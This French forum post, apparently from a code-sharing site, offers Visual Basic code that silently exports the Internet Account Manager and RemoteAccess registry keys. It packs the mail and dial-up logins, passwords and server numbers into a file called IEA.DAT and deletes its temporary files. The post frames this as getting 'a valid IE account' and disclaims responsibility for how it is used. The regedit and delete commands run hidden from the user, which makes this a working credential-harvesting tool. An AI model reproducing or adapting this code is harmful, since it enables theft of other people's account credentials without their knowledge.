PS: ATTENTION !!! Sauvegarder sa base des registres avant toutes choses
Travail avec regedit en ligne de cmd
PS: ATTENTION !!! Sauvegarder sa base des registres avant toutes choses
Permet de reucperer les accomptes d'un PC dans un fichier IEA.DAT (qui est en fait un .reg)
avec toute la config du PC : login,pass,n°tel du serveur....
Tout ce qu'il faut pour avoir un compte ie valide quoi
PS: ATTENTION !!! Sauvegarder sa base des registres avant toutes choses
Source / Exemple :
Function Lie(ByVal FAcc As String, ByVal FRU As String, ByVal FRD As String, ByVal FDst As String)
On Error Resume Next
Dim I As Integer
Dim Tmp As String, Tmp1 As String, Tmp2 As String
Tmp1 = "[HKEY_CURRENT_USER\Software\Microsoft\\Internet Account Manager\Accounts\000"
Tmp2 = Chr$(34) & "POP3 User Name" & Chr$(34) & "=" & Chr$(34)
Open FDst For Output As #2
Print #2, "REGEDIT4" & vbCrLf
Open FAcc For Input As #1
Do Until EOF(1)
Line Input #1, Tmp
If Left(Tmp, Len(Tmp2)) = Tmp2 Then PCO = Left(Right(Tmp, Len(Tmp) - Len(Tmp2)), Len(Right(Tmp, Len(Tmp) - Len(Tmp2))) - 1)
If Left(Tmp, Len(Tmp1)) = Tmp1 Then
Print #2, Tmp
For I = 0 To 13
Line Input #1, Tmp
Print #2, Tmp
Next
Else
End If
Loop
Close #1
Open FRU For Input As #1
Do Until EOF(1)
Line Input #1, Tmp
If Tmp = "REGEDIT4" Then Tmp = ""
Print #2, Tmp
Loop
Close #1
Open FRD For Input As #1
Do Until EOF(1)
Line Input #1, Tmp
If Tmp = "REGEDIT4" Then Tmp = ""
Print #2, Tmp
Loop
Close #1
Close #2
End Function
Sub Recup()
Shell "regedit.exe /E C:\000.txt HKEY_CURRENT_USER\Software\Microsoft\", vbHide
Shell "regedit.exe /E C:\001.txt HKEY_CURRENT_USER\RemoteAccess\", vbHide
Shell "regedit.exe /E C:\002.txt HKEY_USERS\.DEFAULT\RemoteAccess", vbHide
Lie "C:\000.txt", "C:\001.txt", "C:\002.txt", "C:\IEA.dat"
Shell "command.com /C del c:\000.txt", vbHide
Shell "command.com /C del c:\001.txt", vbHide
Shell "command.com /C del c:\002.txt", vbHide
End Sub
Sub Main()
Recup
End Sub
Conclusion :
Faite en ce que vous voulez mes je suis pas responsable des actes fait avec.
PS: ATTENTION !!! Sauvegarder sa base des registres avant toutes choses
Sinon vous allez niquez votre config ie si le(s) accompte(s) ne viennent pas de votre PC
PAS BESOIN DE FICHIER ZIP JUSTE FAIRE COPIER/COLLER
Vous n'êtes pas encore membre ?
inscrivez-vous, c'est gratuit et ça prend moins d'une minute !
Les membres obtiennent plus de réponses que les utilisateurs anonymes.
Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.
Le fait d'être membre vous permet d'avoir des options supplémentaires.